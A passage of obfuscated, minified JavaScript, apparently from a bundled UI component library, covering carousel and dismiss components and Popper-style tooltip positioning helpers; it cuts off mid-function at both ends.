this['_indicators'][_0x289297]['el']['classList'])['add']['apply'](_0x1c0cd7, this['_options']['indicators']['activeClasses']['split']('\x20')), (_0x3796fd = this['_indicators'][_0x289297]['el']['classList'])['remove']['apply'](_0x3796fd, this['_options']['indicators']['inactiveClasses']['split']('\x20')), this['_indicators'][_0x289297]['el']['setAttribute']('aria-current', 'true')); }, _0x1a9be6; }()); function _0x1d8d0e() { document['querySelectorAll']('[data-carousel]')['forEach'](function (_0x1d08ed) { var _0x2519e6 = _0x1d08ed['getAttribute']('data-carousel-interval'), _0x5e0938 = 'slide' === _0x1d08ed['getAttribute']('data-carousel'), _0x31d7ae = [], _0xb30944 = 0x0; _0x1d08ed['querySelectorAll']('[data-carousel-item]')['length'] && Array['from'](_0x1d08ed['querySelectorAll']('[data-carousel-item]'))['map'](function (_0x2e7850, _0x453e6c) { _0x31d7ae['push']({ 'position': _0x453e6c, 'el': _0x2e7850 }), 'active' === _0x2e7850['getAttribute']('data-carousel-item') && (_0xb30944 = _0x453e6c); }); var _0x524f20 = []; _0x1d08ed['querySelectorAll']('[data-carousel-slide-to]')['length'] && Array['from'](_0x1d08ed['querySelectorAll']('[data-carousel-slide-to]'))['map'](function (_0x427676) { _0x524f20['push']({ 'position': parseInt(_0x427676['getAttribute']('data-carousel-slide-to')), 'el': _0x427676 }); }); var _0x169c6d = new _0x33f5b5(_0x31d7ae, { 'defaultPosition': _0xb30944, 'indicators': { 'items': _0x524f20 }, 'interval': _0x2519e6 || _0x3e78a3['interval'] }); _0x5e0938 && _0x169c6d['cycle'](); var _0x55b47f = _0x1d08ed['querySelector']('[data-carousel-next]'), _0x1e8574 = _0x1d08ed['querySelector']('[data-carousel-prev]'); _0x55b47f && _0x55b47f['addEventListener']('click', function () { _0x169c6d['next'](); }), _0x1e8574 && _0x1e8574['addEventListener']('click', function () { _0x169c6d['prev'](); }); }); } 'undefined' != typeof window && (window['Carousel'] = _0x33f5b5, window['initCarousels'] = _0x1d8d0e); const _0x53675b = _0x33f5b5; var _0xca2aa6 = function () { return _0xca2aa6 = Object['assign'] || function (_0x26fc07) { for (var _0x59258d, _0x25081c = 0x1, _0x18a933 = arguments['length']; _0x25081c < _0x18a933; _0x25081c++)for (var _0x4cc785 in _0x59258d = arguments[_0x25081c]) Object['prototype']['hasOwnProperty']['call'](_0x59258d, _0x4cc785) && (_0x26fc07[_0x4cc785] = _0x59258d[_0x4cc785]); return _0x26fc07; }, _0xca2aa6['apply'](this, arguments); }, _0x77ae5c = { 'transition': 'transition-opacity', 'duration': 0x12c, 'timing': 'ease-out', 'onHide': function () { } }, _0xf38073 = (function () { function _0x23841e(_0x109d5a, _0x4d0d7c, _0x478535) { void 0x0 === _0x109d5a && (_0x109d5a = null), void 0x0 === _0x4d0d7c && (_0x4d0d7c = null), void 0x0 === _0x478535 && (_0x478535 = _0x77ae5c), this['_targetEl'] = _0x109d5a, this['_triggerEl'] = _0x4d0d7c, this['_options'] = _0xca2aa6(_0xca2aa6({}, _0x77ae5c), _0x478535), this['_init'](); } return _0x23841e['prototype']['_init'] = function () { var _0x2411bd = this; this['_triggerEl'] && this['_triggerEl']['addEventListener']('click', function () { _0x2411bd['hide'](); }); }, _0x23841e['prototype']['hide'] = function () { var _0x4e9483 = this; this['_targetEl']['classList']['add'](this['_options']['transition'], 'duration-'['concat'](this['_options']['duration']), this['_options']['timing'], 'opacity-0'), setTimeout(function () { _0x4e9483['_targetEl']['classList']['add']('hidden'); }, this['_options']['duration']), this['_options']['onHide'](this, this['_targetEl']); }, _0x23841e; }()); function _0x44070d() { document['querySelectorAll']('[data-dismiss-target]')['forEach'](function (_0x4ac03d) { var _0x5dd0c6 = _0x4ac03d['getAttribute']('data-dismiss-target'), _0x35d763 = document['querySelector'](_0x5dd0c6); _0x35d763 && new _0xf38073(_0x35d763, _0x4ac03d); }); } 'undefined' != typeof window && (window['Dismiss'] = _0xf38073, window['initDismisses'] = _0x44070d); const _0x2efd68 = _0xf38073; function _0x4964df(_0x3239c5) { if (null == _0x3239c5) return window; if ('[object\x20Window]' !== _0x3239c5['toString']()) { var _0x54194d = _0x3239c5['ownerDocument']; return _0x54194d && _0x54194d['defaultView'] || window; } return _0x3239c5; } function _0x5c95b3(_0x52dee6) { return _0x52dee6 instanceof _0x4964df(_0x52dee6)['Element'] || _0x52dee6 instanceof Element; } function _0x3de966(_0x305d5e) { return _0x305d5e instanceof _0x4964df(_0x305d5e)['HTMLElement'] || _0x305d5e instanceof HTMLElement; } function _0x5f6076(_0x3d1aeb) { return 'undefined' != typeof ShadowRoot && (_0x3d1aeb instanceof _0x4964df(_0x3d1aeb)['ShadowRoot'] || _0x3d1aeb instanceof ShadowRoot); } var _0x143b08 = Math['max'], _0x190085 = Math['min'], _0x58caa1 = Math['round']; function _0x75b6ae() { var _0x29796f = navigator['userAgentData']; return null != _0x29796f && _0x29796f['brands'] && Array['isArray'](_0x29796f['brands']) ? _0x29796f['brands']['map'](function (_0x363e4d) { return _0x363e4d['brand'] + '/' + _0x363e4d['version']; })['join']('\x20') : navigator['userAgent']; } function _0x3c000b() { return !/^((?!chrome|android).)*safari/i['test'](_0x75b6ae()); } function _0x46fe7f(_0x5d82a8, _0x37f10b, _0x2fd363) { void 0x0 === _0x37f10b && (_0x37f10b = !0x1), void 0x0 === _0x2fd363 && (_0x2fd363 = !0x1); var _0x7e7db2 = _0x5d82a8['getBoundingClientRect'](), _0x46629b = 0x1, _0x38d846 = 0x1; _0x37f10b && _0x3de966(_0x5d82a8) && (_0x46629b = _0x5d82a8['offsetWidth'] > 0x0 && _0x58caa1(_0x7e7db2['width']) / _0x5d82a8['offsetWidth'] || 0x1, _0x38d846 = _0x5d82a8['offsetHeight'] > 0x0 && _0x58caa1(_0x7e7db2['height']) / _0x5d82a8['offsetHeight'] || 0x1); var _0x48db66 = (_0x5c95b3(_0x5d82a8) ? _0x4964df(_0x5d82a8) : window)['visualViewport'], _0x24236e = !_0x3c000b() && _0x2fd363, _0x275e6c = (_0x7e7db2['left'] + (_0x24236e && _0x48db66 ? _0x48db66['offsetLeft'] : 0x0)) / _0x46629b, _0x1ceb5f = (_0x7e7db2['top'] + (_0x24236e && _0x48db66 ? _0x48db66['offsetTop'] : 0x0)) / _0x38d846, _0x4e2581 = _0x7e7db2['width'] / _0x46629b, _0x28a53f = _0x7e7db2['height'] / _0x38d846; return { 'width': _0x4e2581, 'height': _0x28a53f, 'top': _0x1ceb5f, 'right': _0x275e6c + _0x4e2581, 'bottom': _0x1ceb5f + _0x28a53f, 'left': _0x275e6c, 'x': _0x275e6c, 'y': _0x1ceb5f }; } function _0x56c38a(_0x10a0b5) { var _0x3fb66c = _0x4964df(_0x10a0b5); return { 'scrollLeft': _0x3fb66c['pageXOffset'], 'scrollTop': _0x3fb66c['pageYOffset'] }; } function _0x1e5b11(_0x278b23) { return _0x278b23 ? (_0x278b23['nodeName'] || '')['toLowerCase']() : null; } function _0x227ed8(_0x22a52c) { return ((_0x5c95b3(_0x22a52c) ? _0x22a52c['ownerDocument'] : _0x22a52c['document']) || window['document'])['documentElement']; } function _0x2ab555(_0x17b9cf) { return _0x46fe7f(_0x227ed8(_0x17b9cf))['left'] + _0x56c38a(_0x17b9cf)['scrollLeft']; } function _0x4b78d2(_0x444d76) { return _0x4964df(_0x444d76)['getComputedStyle'](_0x444d76); } function _0x5a0f3f(_0x1ad5de) { var _0x2a8ec0 = _0x4b78d2(_0x1ad5de), _0x4f277c = _0x2a8ec0['overflow'], _0x239c5e = _0x2a8ec0['overflowX'], _0x549d77 = _0x2a8ec0['overflowY']; return /auto|scroll|overlay|hidden/['test'](_0x4f277c + _0x549d77 + _0x239c5e); } function _0x13c868(_0x38f571, _0x201b0f, _0x5b185a) { void 0x0 === _0x5b185a && (_0x5b185a = !0x1); var _0x505b86, _0x5472b6, _0x252554 = _0x3de966(_0x201b0f), _0xe17a32 = _0x3de966(_0x201b0f) && function (_0x3dfda3) { var _0x56dd1d = _0x3dfda3['getBoundingClientRect'](), _0x101e43 = _0x58caa1(_0x56dd1d['width']) / _0x3dfda3['offsetWidth'] || 0x1, _0x17011b = _0x58caa1(_0x56dd1d['height']) / _0x3dfda3['offsetHeight'] || 0x1; return 0x1 !== _0x101e43 || 0x1 !== _0x17011b; }(_0x201b0f), _0x511b65 = _0x227ed8(_0x201b0f), _0x48a496 = _0x46fe7f(_0x38f571, _0xe17a32, _0x5b185a), _0x1704ab = { 'scrollLeft': 0x0, 'scrollTop': 0x0 }, _0x324c78 = { 'x': 0x0, 'y': 0x0 }; return (_0x252554 || !_0x252554 && !_0x5b185a) && (('body' !== _0x1e5b11(_0x201b0f) || _0x5a0f3f(_0x511b65)) && (_0x1704ab = (_0x505b86 = _0x201b0f) !== _0x4964df(_0x505b86) && _0x3de966(_0x505b86) ? { 'scrollLeft': (_0x5472b6 = _0x505b86)['scrollLeft'], 'scrollTop': _0x5472b6['scrollTop'] } : _0x56c38a(_0x505b86)), _0x3de966(_0x201b0f) ? ((_0x324c78 = _0x46fe7f(_0x201b0f, !0x0))['x'] += _0x201b0f['clientLeft'], _0x324c78['y'] += _0x201b0f['clientTop']) : _0x511b65 && (_0x324c78['x'] = _0x2ab555(_0x511b65))), { 'x': _0x48a496['left'] + _0x1704ab['scrollLeft'] - _0x324c78['x'], 'y': _0x48a496['top'] + _0x1704ab['scrollTop'] - _0x324c78['y'], 'width': _0x48a496['width'], 'height': _0x48a496['height'] }; } function _0x9a6862(_0x4758e4) { var _0x19c92c = _0x46fe7f(_0x4758e4), _0x16bd9b = _0x4758e4['offsetWidth'], _0x1b1e25 = _0x4758e4['offsetHeight']; return Math['abs'](_0x19c92c['width'] - _0x16bd9b) <= 0x1 && (_0x16bd9b = _0x19c92c['width']), Math['abs'](_0x19c92c['height'] - _0x1b1e25) <= 0x1 && (_0x1b1e25 = _0x19c92c['height']), { 'x': _0x4758e4['offsetLeft'], 'y': _0x4758e4['offsetTop'], 'width': _0x16bd9b, 'height': _0x1b1e25 }; } function _0x20e448(_0x14bb25) { return 'html' === _0x1e5b11(_0x14bb25) ? _0x14bb25 : _0x14bb25['assignedSlot'] || _0x14bb25['parentNode'] || (_0x5f6076(_0x14bb25) ? _0x14bb25['host'] : null) || _0x227ed8(_0x14bb25); } function _0x3ad086(_0x206e23) { return ['html', 'body', '#document']['indexOf'](_0x1e5b11(_0x206e23)) >= 0x0 ? _0x206e23['ownerDocument']['body'] : _0x3de966(_0x206e23) && _0x5a0f3f(_0x206e23) ? _0x206e23 : _0x3ad086(_0x20e448(_0x206e23)); } function _0x5134d0(_0x2df1c4, _0x3022dd) { var _0x394cb5; void 0x0 === _0x3022dd && (_0x3022dd = []); var _0x27c008 = _0x3ad086(_0x2df1c4), _0x119184 = _0x27c008 === (null == (_0x394cb5 = _0x2df1c4['ownerDocument']) ? void 0x0 : _0x394cb5['body']), _0x445111 = _0x4964df(_0x27c008), _0x359b08 = _0x119184 ? [_0x445111]['concat'](_0x445111['visualViewport'] || [], _0x5a0f3f(_0x27c008) ? _0x27c008 : []) : _0x27c008, _0x24dd78 = _0x3022dd['concat'](_0x359b08); return _0x119184 ? _0x24dd78 : _0x24dd78['concat'](_0x5134d0(_0x20e448(_0x359b08))); } function _0x461fbc(_0x402588) { return ['table', 'td', 'th']['indexOf'](_0x1e5b11(_0x402588)) >= 0x0; } function _0x5f3dbf(_0x1f86e3) { return _0x3de966(_0x1f86e3) && 'fixed' !== _0x4b78d2(_0x1f86e3)['position'] ? _0x1f86e3['offsetParent'] : null; } function _0x135a23(_0x1c2382) { for (var _0x533b8c = _0x4964df(_0x1c2382), _0x3ea04b = _0x5f3dbf(_0x1c2382); _0x3ea04b && _0x461fbc(_0x3ea04b) && 'static' === _0x4b78d2(_0x3ea04b)['position'];)_0x3ea04b = _0x5f3dbf(_0x3ea04b); return _0x3ea04b && ('html' === _0x1e5b11(_0x3ea04b) || 'body' === _0x1e5b11(_0x3ea04b) && 'static' === _0x4b78d2(_0x3ea04b)['position']) ? _0x533b8c : _0x3ea04b || function (_0x594ad1) { var _0x128491 = /firefox/i['test'](_0x75b6ae()); if (/Trident/i['test'](_0x75b6ae()) && _0x3de966(_0x594ad1) && 'fixed' === _0x4b78d2(_0x594ad1)['position']) return null; var _0x39cac2 = _0x20e448(_0x594ad1); for (_0x5f6076(_0x39cac2) && (_0x39cac2 = _0x39cac2['host']); _0x3de966(_0x39cac2) && ['html', 'body']['indexOf'](_0x1e5b11(_0x39cac2)) < 0x0;) { var _0x4ad326 = _0x4b78d2(_0x39cac2); if ('none' !== _0x4ad326['transform'] || 'none' !== _0x4ad326['perspective'] || 'paint' === _0x4ad326['contain'] || -0x1 !== ['transform', 'perspective']['indexOf'](_0x4ad326['willChange']) || _0x128491 && 'filter' === _0x4ad326['willChange'] || _0x128491 && _0x4ad326['filter'] && 'none' !== _0x4ad326['filter']) return _0x39cac2; _0x39cac2 = _0x39cac2['parentNode']; } return null; }(_0x1c2382) || _0x533b8c; } var _0x34b14a = 'top', _0x20b3ea = 'bottom', _0x2e4d3c = 'right', _0x35f1bd = 'left', _0x2bb31d = 'auto', _0x4e44ae = [_0x34b14a, _0x20b3ea, _0x2e4d3c, _0x35f1bd], _0x564a85 = 'start', _0x5db8e0 = 'end', _0x1160e2 = 'clippingParents', _0x408dc7 = 'viewport', _0x33f720 = 'popper', _0x14fd1b = 'reference', _0x430756 = _0x4e44ae['reduce'](function (_0x4cfa7d, _0x16a549) { return _0x4cfa7d['concat']([_0x16a549 + '-' + _0x564a85, _0x16a549 + '-' + _0x5db8e0]); }, []), _0x564cc0 = []['concat'](_0x4e44ae, [_0x2bb31d])['reduce'](function (_0x4ccbbc, _0x4634af) { return _0x4ccbbc['concat']([_0x4634af, _0x4634af + '-' + _0x564a85, _0x4634af + '-' + _0x5db8e0]); }, []), _0x161d78 = ['beforeRead', 'read', 'afterRead', 'beforeMain', 'main', 'afterMain', 'beforeWrite', 'write', 'afterWrite']; function _0x563e13(_0x25462e) { var _0x3cc61e = new Map(), _0x51c4a5 = new Set(), _0x275781 = []; function _0x168103(_0x170bd0) { _0x51c4a5['add'](_0x170bd0['name']), []['concat'](_0x170bd0['requires'] || [], _0x170bd0['requiresIfExists'] || [])['forEach'](function (_0xd8ffe7) { if (!_0x51c4a5['has'](_0xd8ffe7)) { var _0x47de3d = _0x3cc61e['get'](_0xd8ffe7); _0x47de3d && _0x168103(_0x47de3d); } }), _0x275781['push'](_0x170bd0); } return _0x25462e['forEach'](function (_0xb8716e) { _0x3cc61e['set'](_0xb8716e['name'], _0xb8716e); }), _0x25462e['forEach'](function (_0xda6224) { _0x51c4a5['has'](_0xda6224['name']) || _0x168103(_0xda6224); }), _0x275781; } var _0x2a65ac = { 'placement': 'bottom', 'modifiers': [], 'strategy': 'absolute' }; function _0x4ba499() { for (var _0x354cbf = arguments['length'], _0x45c309 = new Array(_0x354cbf), _0x5a18a5 = 0x0; _0x5a18a5 < _0x354cbf; _0x5a18a5++)_0x45c309[_0x5a18a5] = arguments[_0x5a18a5]; return !_0x45c309['some'](function (_0x313b8f) { return !(_0x313b8f && 'function' == typeof _0x313b8f['getBoundingClientRect']); }); } function _0x72558e(_0x2f13f8) { void 0x0 === _0x2f13f8 && (_0x2f13f8 = {}); var _0xfc88de = _0x2f13f8, _0x3a3f14 = _0xfc88de['defaultModifiers'], _0x5dd48d = void 0x0 === _0x3a3f14 ? [] : _0x3a3f14, _0x551f94 = _0xfc88de['defaultOptions'], _0x3c0e15 = void 0x0 === _0x551f94 ? _0x2a65ac : _0x551f94; return function (_0x299e80, _0x426f9, _0x34e3c9) { void 0x0 === _0x34e3c9 && (_0x34e3c9 = _0x3c0e15); var _0x2f1d57, _0x5d1aaf, _0x4e7284 = { 'placement': 'bottom', 'orderedModifiers': [], 'options': Object['assign']({}, _0x2a65ac, _0x3c0e15), 'modifiersData': {}, 'elements': { 'reference': _0x299e80, 'popper': _0x426f9 }, 'attributes': {}, 'styles': {} }, _0x3a175d = [], _0x4116bb = !0x1, _0x284027 = { 'state': _0x4e7284, 'setOptions': function (_0x531bc5) { var _0x23620e = 'function' == typeof _0x531bc5 ? _0x531bc5(_0x4e7284['options']) : _0x531bc5; _0x324e0f(), _0x4e7284['options'] = Object['assign']({}, _0x3c0e15, _0x4e7284['options'], _0x23620e), _0x4e7284['scrollParents'] = { 'reference': _0x5c95b3(_0x299e80) ? _0x5134d0(_0x299e80) : _0x299e80['contextElement'] ? _0x5134d0(_0x299e80['contextElement']) : [], 'popper': _0x5134d0(_0x426f9) }; var _0x66981a, _0x42e08a, _0x16ce35 = function (_0x130d9e) { var _0x2df936 = _0x563e13(_0x130d9e); return _0x161d78['reduce'](function (_0x5d9f7a, _0x4dd00d) { return _0x5d9f7a['concat'](_0x2df936['filter'](function (_0x326ebe) { return _0x326ebe['phase'] === _0x4dd00d; })); }, []); }((_0x66981a = []['concat'](_0x5dd48d, _0x4e7284['options']['modifiers']), _0x42e08a = _0x66981a['reduce'](function (_0x3822d8, _0x49b006) { var _0x17b73a = _0x3822d8[_0x49b006['name']]; return _0x3822d8[_0x49b006['name']] = _0x17b73a ? Object['assign']({}, _0x17b73a, _0x49b006, { 'options': Object['assign']({}, _0x17b73a['options'], _0x49b006['options']), 'data': Object['assign']({}, _0x17b73a['data'], _0x49b006['data']) }) : _0x49b006, _0x3822d8; }, {}), Object['keys'](_0x42e08a)['map'](function (_0x330349) { return _0x42e08a[_0x330349]; }))); return _0x4e7284['orderedModifiers'] = _0x16ce35['filter'](function (_0x352956) { return _0x352956['enabled']; }), _0x4e7284['orderedModifiers']['forEach'](function (_0x5da2fe) { var _0x45887f = _0x5da2fe['name'], _0x4cbf27 = _0x5da2fe['options'], _0x453153 = void 0x0 === _0x4cbf27 ? {} : _0x4cbf27, _0x2cb03e = _0x5da2fe['effect']; if ('function' == typeof _0x2cb03e) { var _0x28a68b = _0x2cb03e({ 'state': _0x4e7284, 'name': _0x45887f, 'instance': _0x284027, 'options': _0x453153 }), _0x53944d = function () { }; _0x3a175d['push'](_0x28a68b || _0x53944d); } }), _0x284027['update'](); }, 'forceUpdate': function () { if (!_0x4116bb) { var _0x410f8a = _0x4e7284['elements'], _0x3ac3b4 = _0x410f8a['reference'], _0x43c8b6 = _0x410f8a['popper']; if (_0x4ba499(_0x3ac3b4, _0x43c8b6)) { _0x4e7284['rects'] = { 'reference': _0x13c868(_0x3ac3b4, _0x135a23(_0x43c8b6), 'fixed' === _0x4e7284['options']['strategy']), 'popper': _0x9a6862(_0x43c8b6) }, _0x4e7284['reset'] = !0x1, _0x4e7284['placement'] = _0x4e7284['options']['placement'], _0x4e7284['orderedModifiers']['forEach'](function (_0x1d647f) { return _0x4e7284['modifiersData'][_0x1d647f['name']] = Object['assign']({}, _0x1d647f['data']); }); for (var _0x2ee088 = 0x0; _0x2ee088 < _0x4e7284['orderedModifiers']['length']; _0x2ee088++)if (!0x0 !== _0x4e7284['reset']) { var _0x179f2d = _0x4e7284['orderedModifiers'][_0x2ee088], _0x2339b9 = _0x179f2d['fn'], _0x51ddea = _0x179f2d['options'], _0x502101 = void 0x0 === _0x51ddea ? {} : _0x51ddea, _0x27d8e1 = _0x179f2d['name']; 'function' == typeof _0x2339b9 && (_0x4e7284 = _0x2339b9({ 'state': _0x4e7284, 'options': _0x502101, 'name': _0x27d8e1, 'instance': _0x284027 }) || _0x4e7284); } else _0x4e7284['reset'] = !0x1, _0x2ee088 = -0x1; } } }, 'update': (_0x2f1d57 = function () { return new Promise(function (_0x1aafa4) { _0x284027['forceUpdate'](), _0x1aafa4(_0x4e7284); }); }, function () { return _0x5d1aaf || (_0x5d1aaf = new Promise(function (_0x5e590a) { Promise['resolve']()['then'](function () { _0x5d1aaf = void 0x0, _0x5e590a(_0x2f1d57()); }); })), _0x5d1aaf; }), 'destroy': function () { _0x324e0f(), _0x4116bb = !0x0; } }; if (!_0x4ba499(_0x299e80, _0x426f9)) return _0x284027; function _0x324e0f() { _0x3a175d['forEach'](function (_0x3877cb) { return _0x3877cb(); }), _0x3a175d = []; } return _0x284027['setOptions'](_0x34e3c9)['then'](function (_0x2422b5) { !_0x4116bb && _0x34e3c9['onFirstUpdate'] && _0x34e3c9['onFirstUpdate'](_0x2422b5); }), _0x284027; }; } var _0x31d116 = { 'passive': !0x0 }; function _0x2cb7e6(_0x46474b) { return _0x46474b['split']('-')[0x0]; } function _0x3d299d(_0x25d807) { return _0x25d807['split']('-')[0x1]; } function _0x5a48a4(_0x3cf2dc) { return ['top', 'bottom']['indexOf'](_0x3cf2dc) >= 0x0 ? 'x' : 'y'; } function _0x1b3ab0(_0xab3467) { var _0x464be7, _0x72545d = _0xab3467['reference'], _0x5833fa = _0xab3467['element'], _0x58407a = _0xab3467['placement'], _0x94ce01 = _0x58407a ? _0x2cb7e6(_0x58407a) : null, _0x3216bc = _0x58407a ? _0x3d299d(_0x58407a) : null, _0x261809 = _0x72545d['x'] + _0x72545d['width'] / 0x2 - _0x5833fa['width'] / 0x2, _0x1c7cb5 = _0x72545d['y'] + _0x72545d['height'] / 0x2 - _0x5833fa['height'] / 0x2; switch (_0x94ce01) { case _0x34b14a: _0x464be7 = { 'x': _0x261809, 'y': _0x72545d['y'] - _0x5833fa['height'] }; break; case _0x20b3ea: _0x464be7 = { 'x': _0x261809, 'y': _0x72545d['y'] + _0x72545d['height'] }; break; case _0x2e4d3c: _0x464be7 = { 'x': _0x72545d['x'] + _0x72545d['width'], 'y': _0x1c7cb5 }; break; case _0x35f1bd: _0x464be7 = { 'x': _0x72545d['x'] - _0x5833fa['width'], 'y': _0x1c7cb5 }; break; default: _0x464be7 = { 'x': _0x72545d['x'], 'y': _0x72545d['y'] }; }var _0x510f70 = _0x94ce01 ? _0x5a48a4(_0x94ce01) : null; if (null != _0x510f70) { var _0x44c7a4 = 'y' === _0x510f70 ? 'height' : 'width'; switch (_0x3216bc) { case _0x564a85: _0x464be7[_0x510f70] = _0x464be7[_0x510f70] - (_0x72545d[_0x44c7a4] / 0x2 - _0x5833fa[_0x44c7a4] / 0x2); break; case _0x5db8e0: _0x464be7[_0x510f70] = _0x464be7[_0x510f70] + (_0x72545d[_0x44c7a4] / 0x2 - _0x5833fa[_0x44c7a4] / 0x2); } } return _0x464be7; } var _0x4c9f91 = { 'top': 'auto', 'right': 'auto', 'bottom': 'auto', 'left': 'auto' }; function _0x175bdb(_0x47c383) { var _0x8637eb, _0x1ad191 = _0x47c383['popper'], _0x3e0135 = _0x47c383['popperRect'], _0x254f0c = _0x47c383['placement'], _0x2bab50 = _0x47c383['variation'], _0x7e34db = _0x47c383['offsets'], _0x5e3987 = _0x47c383['position'], _0x44556c = _0x47c383['gpuAcceleration'], _0x50771d = _0x47c383['adaptive'], _0x232413 = _0x47c383['roundOffsets'], _0x5c62a4 = _0x47c383['isFixed'], _0x2809b0 = _0x7e34db['x'], _0x4d0263 = void 0x0 === _0x2809b0 ? 0x0 : _0x2809b0, _0x5992d0 = _0x7e34db['y'], _0x197559 = void 0x0 === _0x5992d0 ? 0x0 : _0x5992d0, _0x4e2fe4 = 'function' == typeof _0x232413 ? _0x232413({ 'x': _0x4d0263, 'y': _0x197559 }) : { 'x': _0x4d0263, 'y': _0x197559 }; _0x4d0263 = _0x4e2fe4['x'], _0x197559 = _0x4e2fe4['y']; var _0x56ffa0 = _0x7e34db['hasOwnProperty']('x'), _0x4758cb = _0x7e34db['hasOwnProperty']('y'), _0xb6707b = _0x35f1bd, _0x5ce669 = _0x34b14a, _0x453e3d = window; if (_0x50771d) { var _0x7cf6fb = _0x135a23(_0x1ad191), _0x432894 = 'clientHeight', _0x4b1534 = 'clientWidth'; if (_0x7cf6fb === _0x4964df(_0x1ad191) && 'static' !== _0x4b78d2(_0x7cf6fb = _0x227ed8(_0x1ad191))['position'] && 'absolute' === _0x5e3987 && (_0x432894 = 'scrollHeight', _0x4b1534 = 'scrollWidth'), _0x254f0c === _0x34b14a || (_0x254f0c === _0x35f1bd || _0x254f0c === _0x2e4d3c) && _0x2bab50 === _0x5db8e0) _0x5ce669 = _0x20b3ea, _0x197559 -= (_0x5c62a4 && _0x7cf6fb === _0x453e3d && _0x453e3d['visualViewport'] ? _0x453e3d['visualViewport']['height'] : _0x7cf6fb[_0x432894]) - _0x3e0135['height'], _0x197559 *= _0x44556c ? 0x1 : -0x1; if (_0x254f0c === _0x35f1bd || (_0x254f0c === _0x34b14a || _0x254f0c === _0x20b3ea) && _0x2bab50 === _0x5db8e0) _0xb6707b = _0x2e4d3c, _0x4d0263 -= (_0x5c62a4 && _0x7cf6fb === _0x453e3d && _0x453e3d['visualViewport'] ? _0x453e3d['visualViewport']['width'] : _0x7cf6fb[_0x4b1534]) - _0x3e0135['width'], _0x4d0263 *= _0x44556c ? 0x1 : -0x1; } var _0x42f0a9, _0x2992bc = Object['assign']({ 'position': _0x5e3987 }, _0x50771d && _0x4c9f91), _0x207bdd = !0x0 === _0x232413 ? function (_0x4cbf47, _0x16dd44) { var _0x309d00 = _0x4cbf47['x'], _0x3e61e2 = _0x4cbf47['y'], _0x570f83 = _0x16dd44['devicePixelRatio'] || 0x1; return { 'x': _0x58caa1(_0x309d00 * _0x570f83) / _0x570f83 || 0x0, 'y': _0x58caa1(_0x3e61e2 * _0x570f83) / _0x570f83 || 0x0 }; }({ 'x': _0x4d0263, 'y': _0x197559 }, _0x4964df(_0x1ad191)) : { 'x': _0x4d0263, 'y': _0x197559 }; return _0x4d0263 = _0x207bdd['x'], _0x197559 = _0x207bdd['y'], _0x44556c ? Object['assign']({}, _0x2992bc, ((_0x42f0a9 = {})[_0x5ce669] = _0x4758cb ? '0' : '', _0x42f0a9[_0xb6707b] = _0x56ffa0 ? '0' : '', _0x42f0a9['transform'] = (_0x453e3d['devicePixelRatio'] || 0x1) <= 0x1 ? 'translate(' + _0x4d0263 + 'px,\x20' + _0x197559 + 'px)' : 'translate3d(' + _0x4d0263 + 'px,\x20' + _0x197559 + 'px,\x200)', _0x42f0a9)) : Object['assign']({}, _0x2992bc, ((_0x8637eb = {})[_0x5ce669] = _0x4758cb ? _0x197559 + 'px' : '', _0x8637eb[_0xb6707b] = _0x56ffa0 ? _0x4d0263 + 'px' : '', _0x8637eb['transform'] = '', _0x8637eb)); } const _0x5bfcfa = { 'name': 'offset', 'enabled': !0x0, 'phase': 'main', 'requires': ['popperOffsets'], 'fn': function (_0x5249f8) { var _0x13284b = _0x5249f8['state'], _0x50d631 = _0x5249f8['options'], _0x350a01 = _0x5249f8['name'], _0x2ee371 = _0x50d631['offset'], _0x3894b2 = void 0x0 === _0x2ee371 ? [0x0, 0x0] : _0x2ee371, _0xda63b2 = _0x564cc0['reduce'](function (_0x23d1b2, _0x324b81) { return _0x23d1b2[_0x324b81] = function (_0x201c29, _0x236be6, _0x5dcd4e) { var _0x3552a4 = _0x2cb7e6(_0x201c29), _0x4e6c90 = [_0x35f1bd, _0x34b14a]['indexOf'](_0x3552a4) >= 0x0 ? -0x1 : 0x1, _0x2be9b1 = 'function' == typeof _0x5dcd4e ? _0x5dcd4e(Object['assign']({}, _0x236be6, { 'placement': _0x201c29 })) : _0x5dcd4e, _0x1c41aa = _0x2be9b1[0x0], _0x4ac40e = _0x2be9b1[0x1]; return _0x1c41aa = _0x1c41aa || 0x0, _0x4ac40e = (_0x4ac40e || 0x0) * _0x4e6c90, [_0x35f1bd, _0x2e4d3c]['indexOf'](_0x3552a4) >= 0x0 ? { 'x': _0x4ac40e, 'y': _0x1c41aa } : { 'x': _0x1c41aa, 'y': _0x4ac40e }; }(_0x324b81, _0x13284b['rects'], _0x3894b2), _0x23d1b2; }, {}), _0x3ef8b3 = _0xda63b2[_0x13284b['placement']], _0x254c17 = _0x3ef8b3['x'], _0x197c79 = _0x3ef8b3['y']; null != _0x13284b['modifiersData']['popperOffsets'] && (_0x13284b['modifiersData']['popperOffsets']['x'] += _0x254c17, _0x13284b['modifiersData']['popperOffsets']['y'] += _0x197c79), _0x13284b['modifiersData'][_0x350a01] = _0xda63b2; } }; var _0x204d8a = { 'left': 'right', 'right': 'left', 'bottom': 'top', 'top': 'bottom' }; function _0xc02012(_0x5b9bf8) { return _0x5b9bf8['replace'](/left|right|bottom|top/g, function (_0x3ea1ea) { return _0x204d8a[_0x3ea1ea]; }); } var _0x4ab547 = { 'start': 'end', 'end': 'start' }; function _0x159dbd(_0x1e7569) { return _0x1e7569['replace'](/start|end/g, function (_0x40466e) { return _0x4ab547[_0x40466e]; }); } function _0x4c2d5c(_0x944fac, _0x2f3ea1) { var _0x2f729b = _0x2f3ea1['getRootNode'] && _0x2f3ea1['getRootNode'](); if (_0x944fac['contains'](_0x2f3ea1)) return !0x0; if (_0x2f729b && _0x5f6076(_0x2f729b)) { var _0x299337 = _0x2f3ea1; do { if (_0x299337 && _0x944fac['isSameNode'](_0x299337)) return !0x0; _0x299337 = _0x299337['parentNode'] || _0x299337['host']; } while (_0x299337); } return !0x1; } function _0x4210d3(_0x56751f) { return Object['assign']({}, _0x56751f, { 'left': _0x56751f['x'], 'top': _0x56751f['y'], 'right': _0x56751f['x'] + _0x56751f['width'], 'bottom': _0x56751f['y'] + _0x56751f['height'] }); } function _0x32dc67(_0x46ed23, _0xebca1e, _0x495f90) { return _0xebca1e === _0x408dc7 ? _0x4210d3(function (_0x128c88, _0x4474d4) { var _0x2687cc = _0x4964df(_0x128c88), _0x274cbb = _0x227ed8(_0x128c88), _0x2b53f0 = _0x2687cc['visualViewport'], _0x36e489 = _0x274cbb['clientWidth'], _0x591605 = _0x274cbb['clientHeight'], _0x212314 = 0x0, _0x4d6c27 = 0x0; if (_0x2b53f0) { _0x36e489 = _0x2b53f0['width'], _0x591605 = 